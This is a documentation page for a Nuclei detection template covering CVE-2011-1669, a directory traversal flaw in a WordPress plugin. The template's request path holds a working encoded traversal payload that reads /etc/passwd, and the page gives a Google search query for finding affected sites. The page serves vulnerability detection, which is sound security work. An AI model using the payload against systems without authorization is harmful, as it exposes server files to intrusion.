Skip to content
Nuclei Templates

WP Custom Pages 0.5.0.1 - Local File Inclusion (LFI)

ID: CVE-2011-1669

Severity: medium

Author: daffainfo

Tags: cve,cve2011,edb,wordpress,wp-plugin,lfi,mikoviny

Description

Section titled “Description”

A directory traversal vulnerability in wp-download.php in the WP Custom Pages module 0.5.0.1 for WordPress allows remote attackers to read arbitrary files via ..%2F (encoded dot dot) sequences in the url parameter.

YAML Source

Section titled “YAML Source”
id: CVE-2011-1669


info:
  name: WP Custom Pages 0.5.0.1 - Local File Inclusion (LFI)
  author: daffainfo
  severity: medium
  description: A directory traversal vulnerability in wp-download.php in the WP Custom Pages module 0.5.0.1 for WordPress allows remote attackers to read arbitrary files via ..%2F (encoded dot dot) sequences in the url parameter.
  impact: |
    An attacker can read arbitrary files on the server, potentially leading to unauthorized access to sensitive information.
  remediation: Upgrade to the latest version to mitigate this vulnerability.
  reference:
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-1669
    - https://www.exploit-db.com/exploits/17119
    - http://www.exploit-db.com/exploits/17119
    - https://exchange.xforce.ibmcloud.com/vulnerabilities/66559
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:N/A:N
    cvss-score: 5
    cve-id: CVE-2011-1669
    cwe-id: CWE-22
    epss-score: 0.02966
    epss-percentile: 0.90858
    cpe: cpe:2.3:a:mikoviny:wp_custom_pages:0.5.0.1:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: mikoviny
    product: wp_custom_pages
    google-query: inurl:"/wp-content/plugins/wp-custom-pages/"
  tags: cve,cve2011,edb,wordpress,wp-plugin,lfi,mikoviny


http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/wp-custom-pages/wp-download.php?url=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd"


    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"


      - type: status
        status:
          - 200
# digest: 490a004630440220055b16b70825ef8a3dbd1eb990abc8e39ea641ab893ad7eb52611fab9953288e02205c018535b5a07277aee1c6aac21cfd5dd53db53481fb6294241f86e8ab37c103:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2011/CVE-2011-1669.yaml"

View on Github